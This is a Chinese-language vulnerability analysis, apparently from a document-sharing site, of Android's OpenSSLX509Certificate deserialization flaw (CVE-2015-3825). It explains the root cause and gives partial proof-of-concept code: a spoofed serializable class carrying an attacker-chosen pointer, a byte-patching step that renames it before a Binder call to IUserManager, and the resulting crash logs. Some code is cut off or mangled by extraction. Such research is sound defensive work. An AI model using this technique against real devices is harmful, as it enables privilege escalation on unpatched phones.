OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

OpenSSLX509Certificate反序列化漏洞

(CVE-2015-3825)成因分析

作者:没羽

官网:百度搜素“阿里聚安全”

官方微博:阿里聚安全

官方微信:阿里聚安全

一、序

序列化 (Serialization),是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。Android也有许多场景使用序列化进行数据传递,如App间/内的对象传递、Binder通信的数据传递等等,一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入,存储区的内容或序列是可被随机填充,如果使用时验证不完整,也会导致安全漏洞。在Android系统中,可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。

二、漏洞成因

这个Android序列化漏洞(CVE-2015-3825),影响Android4.3及Android5.1版本,也就是Jelly Bean、KitKat、棒棒糖和Android M预览版1,波及55%的Android设备。可在受影响的设备上提权到system权限,也就意味着攻击者可以通过替换目标应用的apk接管受害者手机上的任意应用。这个漏洞是由的IBM 安全团队Or Peles和Roee Hay在USENIX 2015大会上的议题《ONE CLASS TO RULE THEM ALL

0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》[1]。

2.1 PoC构造

Paper作者没放出Exploit也没放出PoC,根据这篇paper我们可以知道,漏洞出在

OpenSSLX509Certificate(全包名路径为.conscrypt.OpenSSLX509Certificate)类,OpenSSLX509Certificate类满足:

1)OpenSSLX509Certificate是可序列化的,因为他继承自可序列化的Certificate类;

2)它有一个finalize()方法,并且有调用native的方法(libjavascrypto.so中),参数field mContext,long型(实际为指针类型);

3)OpenSSLX509Certificate也没有实现特定的反序列化方法(readObject和readResolve);

其中mContext就是要找的可被攻击控制的指针。

我对CVE-2014-7911的POC进行了改造,

首先定义类.conscrypt.ApenSSLX509Certificate,如下:

public class ApenSSLX509Certificate implements Serializable {

//private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator

private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator

public final long mContext;

ApenSSLX509Certificate(long ctx) {

mContext = ctx;

}

}

注意包名为.conscrypt,然后在同包名下创建一个MainActivity.java,对

ApenSSLX509Certificate进行调用:

.conscrypt.ApenSSLX509Certificate evilProxy

= new .conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);

b.putSerializable("eatthis", evilProxy);

和CVE-2014-7911 PoC一样,向“android.os.IUserManager”的service发送请求前,修改类名:

int l = data.length;

for (int i=0; i

if (data[i] == 'A' && data[i+1] == 'p' && data[i+2] == 'e' && data[i+3] == 'n') {

data[i] = 'O';

break;

}

}

类似CVE-2014-7911的分析,我们也对service.jar加一些日志信息输出,在Android 4.4.2的AVD 中,安装、运行PoC,我们看到:

E/CVE-2014-7911-trace(1669): setApplicationRestrictions

E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked

E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis

E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else

E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception

E/CVE-2014-7911-trace(1669):

writeApplicationRestrictionsLocked::Exception::ng.ClassCastException:

.conscrypt.OpenSSLX509Certificate cannot be cast to ng.String[]

W/System.err(1669): ng.ClassCastException: .conscrypt.OpenSSLX509Certificate cannot be cast to ng.String[]

at

erManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:141 7)

at erManagerService.setApplicationRestrictions(UserManagerService.java:1124)

at android.os.IUserManager$Stub.onTransact(IUserManager.java:245)

W/System.err(1669): at android.os.Binder.execTransact(Binder.java:404)

W/System.err(1669): at dalvik.system.NativeStart.run(Native Method)

相关文档
最新文档